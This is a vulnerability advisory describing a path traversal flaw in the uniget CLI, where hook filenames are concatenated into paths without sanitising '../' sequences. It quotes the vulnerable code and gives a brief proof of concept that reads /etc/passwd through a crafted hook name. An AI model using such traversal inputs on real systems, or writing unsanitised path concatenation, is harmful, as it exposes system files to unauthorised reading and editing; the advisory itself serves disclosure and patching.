uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

NVD Description

### Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html). **Details** File: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160` ``` hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation ``` Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal. ### PoC **Step 1:** Set cat as editor ``` export EDITOR="cat" ``` **Step 2:** Read /etc/passwd via path traversal ``` ./uniget hooks edit --type=pre-install "../../../../etc/passwd" ``` **Step 3:** Output shows file contents ``` root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] ``` <img width="1014" height="178" alt="image" src="https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab" />

Affected Packages (1)